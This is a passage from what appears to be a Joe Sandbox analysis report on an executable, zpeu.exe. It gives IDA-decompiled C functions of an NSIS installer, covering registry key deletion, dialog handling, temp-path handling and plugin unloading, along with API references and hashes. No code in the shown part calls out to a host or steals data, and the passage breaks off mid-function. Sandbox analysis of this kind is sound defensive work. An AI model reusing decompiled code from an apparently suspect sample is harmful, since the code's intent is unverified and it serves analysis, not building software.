                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CharPrevlstrcatlstrlen
                                      • String ID: C:\Users\user\AppData\Local\Temp\
                                      • API String ID: 2659869361-3355392842
                                      • Opcode ID: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
                                      • Instruction ID: c0ef0cb97c36de63e92d9fca1924244fe31698b984028f6787b43ddfdde79dcc
                                      • Opcode Fuzzy Hash: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
                                      • Instruction Fuzzy Hash: 7FD0A731106530AAC1117B548C04DDF72AC9E46344342047FF201B70A1C77C2D6287FD
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 84%
                                      			E00402D2A(void* __eflags, void* _a4, short* _a8, signed int _a12) {
                                      				void* _v8;
                                      				short _v532;
                                      				void* _t19;
                                      				signed int _t26;
                                      				intOrPtr* _t28;
                                      				signed int _t33;
                                      				signed int _t34;
                                      				signed int _t35;
                                      
                                      				_t34 = _a12;
                                      				_t35 = _t34 & 0x00000300;
                                      				_t33 = _t34 & 0x00000001;
                                      				_t19 = E004060B9(__eflags, _a4, _a8, _t35 | 0x00000008,  &_v8);
                                      				if(_t19 == 0) {
                                      					while(RegEnumKeyW(_v8, 0,  &_v532, 0x105) == 0) {
                                      						__eflags = _t33;
                                      						if(__eflags != 0) {
                                      							RegCloseKey(_v8);
                                      							return 1;
                                      						}
                                      						_t26 = E00402D2A(__eflags, _v8,  &_v532, _a12);
                                      						__eflags = _t26;
                                      						if(_t26 != 0) {
                                      							break;
                                      						}
                                      					}
                                      					RegCloseKey(_v8);
                                      					_t28 = E00406626(3);
                                      					if(_t28 == 0) {
                                      						return RegDeleteKeyW(_a4, _a8);
                                      					}
                                      					return  *_t28(_a4, _a8, _t35, 0);
                                      				}
                                      				return _t19;
                                      			}











                                      0x00402d35
                                      0x00402d3e
                                      0x00402d47
                                      0x00402d53
                                      0x00402d5a
                                      0x00402d7e
                                      0x00402d64
                                      0x00402d66
                                      0x00402db9
                                      0x00000000
                                      0x00402dc1
                                      0x00402d75
                                      0x00402d7a
                                      0x00402d7c
                                      0x00000000
                                      0x00000000
                                      0x00402d7c
                                      0x00402d98
                                      0x00402da0
                                      0x00402da7
                                      0x00000000
                                      0x00402dca
                                      0x00000000
                                      0x00402db2
                                      0x00402dd4

                                      APIs
                                      • RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402D8F
                                      • RegCloseKey.ADVAPI32(?), ref: 00402D98
                                      • RegCloseKey.ADVAPI32(?), ref: 00402DB9
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Close$Enum
                                      • String ID:
                                      • API String ID: 464197530-0
                                      • Opcode ID: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
                                      • Instruction ID: 57c196990662b4067a631aae43276665adbe806e29497986ae1bc13e9df6c193
                                      • Opcode Fuzzy Hash: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
                                      • Instruction Fuzzy Hash: 4C115832540509FBDF129F90CE09BAE7B69AF58340F110076B905B50E0E7B59E21AB68
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00402E5D(intOrPtr _a4) {
                                      				long _t2;
                                      				struct HWND__* _t3;
                                      				struct HWND__* _t6;
                                      
                                      				if(_a4 == 0) {
                                      					__eflags =  *0x418ea0; // 0x0
                                      					if(__eflags == 0) {
                                      						_t2 = GetTickCount();
                                      						__eflags = _t2 -  *0x42a210;
                                      						if(_t2 >  *0x42a210) {
                                      							_t3 = CreateDialogParamW( *0x42a200, 0x6f, 0, E00402DD7, 0);
                                      							 *0x418ea0 = _t3;
                                      							return ShowWindow(_t3, 5);
                                      						}
                                      						return _t2;
                                      					} else {
                                      						return E00406662(0);
                                      					}
                                      				} else {
                                      					_t6 =  *0x418ea0; // 0x0
                                      					if(_t6 != 0) {
                                      						_t6 = DestroyWindow(_t6);
                                      					}
                                      					 *0x418ea0 = 0;
                                      					return _t6;
                                      				}
                                      			}






                                      0x00402e64
                                      0x00402e7e
                                      0x00402e84
                                      0x00402e8e
                                      0x00402e94
                                      0x00402e9a
                                      0x00402eab
                                      0x00402eb4
                                      0x00000000
                                      0x00402eb9
                                      0x00402ec0
                                      0x00402e86
                                      0x00402e8d
                                      0x00402e8d
                                      0x00402e66
                                      0x00402e66
                                      0x00402e6d
                                      0x00402e70
                                      0x00402e70
                                      0x00402e76
                                      0x00402e7d
                                      0x00402e7d

                                      APIs
                                      • DestroyWindow.USER32(00000000,00000000,0040303D,00000001,?,00000006,00000008,0000000A), ref: 00402E70
                                      • GetTickCount.KERNEL32 ref: 00402E8E
                                      • CreateDialogParamW.USER32(0000006F,00000000,00402DD7,00000000), ref: 00402EAB
                                      • ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402EB9
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Window$CountCreateDestroyDialogParamShowTick
                                      • String ID:
                                      • API String ID: 2102729457-0
                                      • Opcode ID: d9dd720f51eef3d3fbe94177486472338db653888b87da4332a276649b206b5d
                                      • Instruction ID: fe37ef1f42e63d928baf9b7628c588a3f0f600393ee4f6b464cc40035c08f26a
                                      • Opcode Fuzzy Hash: d9dd720f51eef3d3fbe94177486472338db653888b87da4332a276649b206b5d
                                      • Instruction Fuzzy Hash: FAF03A30945620EFC7216B64FE0C99B7B65BB04B0174549BEF444F11A8CBB54881CA9C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 53%
                                      			E00405C25(void* __eflags, intOrPtr _a4) {
                                      				int _t11;
                                      				signed char* _t12;
                                      				intOrPtr _t18;
                                      				intOrPtr* _t21;
                                      				signed int _t23;
                                      
                                      				E0040624C(0x425ef0, _a4);
                                      				_t21 = E00405BC8(0x425ef0);
                                      				if(_t21 != 0) {
                                      					E004064E0(_t21);
                                      					if(( *0x42a21c & 0x00000080) == 0) {
                                      						L5:
                                      						_t23 = _t21 - 0x425ef0 >> 1;
                                      						while(1) {
                                      							_t11 = lstrlenW(0x425ef0);
                                      							_push(0x425ef0);
                                      							if(_t11 <= _t23) {
                                      								break;
                                      							}
                                      							_t12 = E0040658F();
                                      							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
                                      								E00405B69(0x425ef0);
                                      								continue;
                                      							} else {
                                      								goto L1;
                                      							}
                                      						}
                                      						E00405B1D();
                                      						return 0 | GetFileAttributesW(??) != 0xffffffff;
                                      					}
                                      					_t18 =  *_t21;
                                      					if(_t18 == 0 || _t18 == 0x5c) {
                                      						goto L1;
                                      					} else {
                                      						goto L5;
                                      					}
                                      				}
                                      				L1:
                                      				return 0;
                                      			}








                                      0x00405c31
                                      0x00405c3c
                                      0x00405c40
                                      0x00405c47
                                      0x00405c53
                                      0x00405c63
                                      0x00405c65
                                      0x00405c7d
                                      0x00405c7e
                                      0x00405c85
                                      0x00405c86
                                      0x00000000
                                      0x00000000
                                      0x00405c69
                                      0x00405c70
                                      0x00405c78
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00405c70
                                      0x00405c88
                                      0x00000000
                                      0x00405c9c
                                      0x00405c55
                                      0x00405c5b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00405c5b
                                      0x00405c42
                                      0x00000000

                                      APIs
                                        • Part of subcall function 0040624C: lstrcpynW.KERNEL32(?,?,00000400,0040340E,00429200,NSIS Error,?,00000006,00000008,0000000A), ref: 00406259
                                        • Part of subcall function 00405BC8: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,00405C3C,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,?,77033420,0040597A,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 00405BD6
                                        • Part of subcall function 00405BC8: CharNextW.USER32(00000000), ref: 00405BDB
                                        • Part of subcall function 00405BC8: CharNextW.USER32(00000000), ref: 00405BF3
                                      • lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,?,77033420,0040597A,?,C:\Users\user\AppData\Local\Temp\,77033420,00000000), ref: 00405C7E
                                      • GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,?,?,77033420,0040597A,?,C:\Users\user\AppData\Local\Temp\,77033420), ref: 00405C8E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                      • String ID: C:\Users\user\AppData\Local\Temp\nsx575C.tmp
                                      • API String ID: 3248276644-3669370704
                                      • Opcode ID: c400ef1d1e731d117cbda643fc4ffe8eac790fafe02a6f7d9a7793559b5b74a4
                                      • Instruction ID: 8cd04150762c6b8d6a28599447491585beeb2d0428c1c24898b3a9decc440bb2
                                      • Opcode Fuzzy Hash: c400ef1d1e731d117cbda643fc4ffe8eac790fafe02a6f7d9a7793559b5b74a4
                                      • Instruction Fuzzy Hash: 0BF0F42910DF1115E226323A1D0AEAF1555CE83364B4E053FF851B22C5DE3C9A538DAE
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 89%
                                      			E00405224(struct HWND__* _a4, int _a8, int _a12, long _a16) {
                                      				int _t15;
                                      				long _t16;
                                      
                                      				_t15 = _a8;
                                      				if(_t15 != 0x102) {
                                      					if(_t15 != 0x200) {
                                      						_t16 = _a16;
                                      						L7:
                                      						if(_t15 == 0x419 &&  *0x4236d4 != _t16) {
                                      							_push(_t16);
                                      							_push(6);
                                      							 *0x4236d4 = _t16;
                                      							E00404BFA();
                                      						}
                                      						L11:
                                      						return CallWindowProcW( *0x4236dc, _a4, _t15, _a12, _t16);
                                      					}
                                      					if(IsWindowVisible(_a4) == 0) {
                                      						L10:
                                      						_t16 = _a16;
                                      						goto L11;
                                      					}
                                      					_t16 = E00404B7A(_a4, 1);
                                      					_t15 = 0x419;
                                      					goto L7;
                                      				}
                                      				if(_a12 != 0x20) {
                                      					goto L10;
                                      				}
                                      				E0040422D(0x413);
                                      				return 0;
                                      			}





                                      0x00405228
                                      0x00405232
                                      0x0040524e
                                      0x00405270
                                      0x00405273
                                      0x00405279
                                      0x00405283
                                      0x00405284
                                      0x00405286
                                      0x0040528c
                                      0x0040528c
                                      0x00405296
                                      0x00000000
                                      0x004052a4
                                      0x0040525b
                                      0x00405293
                                      0x00405293
                                      0x00000000
                                      0x00405293
                                      0x00405267
                                      0x00405269
                                      0x00000000
                                      0x00405269
                                      0x00405238
                                      0x00000000
                                      0x00000000
                                      0x0040523f
                                      0x00000000

                                      APIs
                                      • IsWindowVisible.USER32(?), ref: 00405253
                                      • CallWindowProcW.USER32(?,?,?,?), ref: 004052A4
                                        • Part of subcall function 0040422D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040423F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Window$CallMessageProcSendVisible
                                      • String ID:
                                      • API String ID: 3748168415-3916222277
                                      • Opcode ID: 085acd60d741280dfa694cfa38d19dbe5f2a98386977293df9f6c8f4e56f0e62
                                      • Instruction ID: c9233ab90339d663537cd0f4838c8d9c3e37dbb77af5ce129741796423ccaa39
                                      • Opcode Fuzzy Hash: 085acd60d741280dfa694cfa38d19dbe5f2a98386977293df9f6c8f4e56f0e62
                                      • Instruction Fuzzy Hash: 4701717160060CABDF218F11ED80A9B3766EF94355F10447AF604752D0C77AAD929E2D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004038C5() {
                                      				void* _t2;
                                      				void* _t3;
                                      				void* _t6;
                                      				void* _t8;
                                      
                                      				_t8 =  *0x4216ac;
                                      				_t3 = E004038AA(_t2, 0);
                                      				if(_t8 != 0) {
                                      					do {
                                      						_t6 = _t8;
                                      						_t8 =  *_t8;
                                      						FreeLibrary( *(_t6 + 8));
                                      						_t3 = GlobalFree(_t6);
                                      					} while (_t8 != 0);
                                      				}
                                      				 *0x4216ac =  *0x4216ac & 0x00000000;
                                      				return _t3;
                                      			}







                                      0x004038c6
                                      0x004038ce
                                      0x004038d5
                                      0x004038d8
                                      0x004038d8
                                      0x004038da
                                      0x004038df
                                      0x004038e6
                                      0x004038ec
                                      0x004038f0
                                      0x004038f1
                                      0x004038f9

                                      APIs
                                      • FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,77033420,0040389D,004036B3,00000006,?,00000006,00000008,0000000A), ref: 004038DF
                                      • GlobalFree.KERNEL32(?), ref: 004038E6
                                      Strings
                                      • C:\Users\user\AppData\Local\Temp\, xrefs: 004038D7
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Free$GlobalLibrary
                                      • String ID: C:\Users\user\AppData\Local\Temp\
                                      • API String ID: 1100898210-3355392842
                                      • Opcode ID: c5b968993c0533f4145da43d1685cce5539a5f76f40ddb7aa2d82094c30b15f3
                                      • Instruction ID: 4defd9e359f6bb8273ced32a5a12906ada9a5e6c3dc807c4d7f8d8681d186cd1
                                      • Opcode Fuzzy Hash: c5b968993c0533f4145da43d1685cce5539a5f76f40ddb7aa2d82094c30b15f3
                                      • Instruction Fuzzy Hash: 68E01233901520AFCA216F55ED04B5E77ADAF58B22F09417BF8807B2608B785C929BD8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 77%
                                      			E00405B69(WCHAR* _a4) {
                                      				WCHAR* _t5;
                                      				WCHAR* _t7;
                                      
                                      				_t7 = _a4;
                                      				_t5 =  &(_t7[lstrlenW(_t7)]);
                                      				while( *_t5 != 0x5c) {
                                      					_push(_t5);
                                      					_push(_t7);
                                      					_t5 = CharPrevW();
                                      					if(_t5 > _t7) {
                                      						continue;
                                      					}
                                      					break;
                                      				}
                                      				 *_t5 =  *_t5 & 0x00000000;
                                      				return  &(_t5[1]);
                                      			}





                                      0x00405b6a
                                      0x00405b74
                                      0x00405b77
                                      0x00405b7d
                                      0x00405b7e
                                      0x00405b7f
                                      0x00405b87
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00405b87
                                      0x00405b89
                                      0x00405b91

                                      APIs
                                      • lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\zpeu.exe,C:\Users\user\Desktop\zpeu.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405B6F
                                      • CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\zpeu.exe,C:\Users\user\Desktop\zpeu.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405B7F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CharPrevlstrlen
                                      • String ID: C:\Users\user\Desktop
                                      • API String ID: 2709904686-3370423016
                                      • Opcode ID: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
                                      • Instruction ID: 4f2c6dc630764ad6ed400a220cd41f8d0a4aff102c3f5ecc88be1499634875f0
                                      • Opcode Fuzzy Hash: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
                                      • Instruction Fuzzy Hash: F7D05EB2401920DAC3126704DC04DAF73A8EF12300746446AF841A6165D7786D818AAC
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E100010E1(signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
                                      				void* _v0;
                                      				void* _t17;
                                      				signed int _t19;
                                      				void* _t20;
                                      				void* _t24;
                                      				void* _t26;
                                      				void* _t30;
                                      				void* _t36;
                                      				void* _t38;
                                      				void* _t39;
                                      				signed int _t41;
                                      				void* _t42;
                                      				void* _t51;
                                      				void* _t52;
                                      				signed short* _t54;
                                      				void* _t56;
                                      				void* _t59;
                                      				void* _t61;
                                      
                                      				 *0x1000406c = _a8;
                                      				 *0x10004070 = _a16;
                                      				 *0x10004074 = _a12;
                                      				 *((intOrPtr*)(_a20 + 0xc))( *0x10004048, E100015B1, _t51, _t56);
                                      				_t41 =  *0x1000406c +  *0x1000406c * 4 << 3;
                                      				_t17 = E10001243();
                                      				_v0 = _t17;
                                      				_t52 = _t17;
                                      				if( *_t17 == 0) {
                                      					L16:
                                      					return GlobalFree(_t17);
                                      				} else {
                                      					do {
                                      						_t19 =  *_t52 & 0x0000ffff;
                                      						_t42 = 2;
                                      						_t54 = _t52 + _t42;
                                      						_t61 = _t19 - 0x6c;
                                      						if(_t61 > 0) {
                                      							_t20 = _t19 - 0x70;
                                      							if(_t20 == 0) {
                                      								L12:
                                      								_t52 = _t54 + _t42;
                                      								_t24 = E10001272(E100012BA(( *_t54 & 0x0000ffff) - 0x30));
                                      								L13:
                                      								GlobalFree(_t24);
                                      								goto L14;
                                      							}
                                      							_t26 = _t20 - _t42;
                                      							if(_t26 == 0) {
                                      								L10:
                                      								_t52 =  &(_t54[1]);
                                      								_t24 = E100012E1(( *_t54 & 0x0000ffff) - 0x30, E10001243());
                                      								goto L13;
                                      							}
                                      							L7:
                                      							if(_t26 == 1) {
                                      								_t30 = GlobalAlloc(0x40, _t41 + 4);
                                      								 *_t30 =  *0x10004040;
                                      								 *0x10004040 = _t30;
                                      								E10001563(_t30 + 4,  *0x10004074, _t41);
                                      								_t59 = _t59 + 0xc;
                                      							}
                                      							goto L14;
                                      						}
                                      						if(_t61 == 0) {
                                      							L17:
                                      							_t33 =  *0x10004040;
                                      							if( *0x10004040 != 0) {
                                      								E10001563( *0x10004074, _t33 + 4, _t41);
                                      								_t59 = _t59 + 0xc;
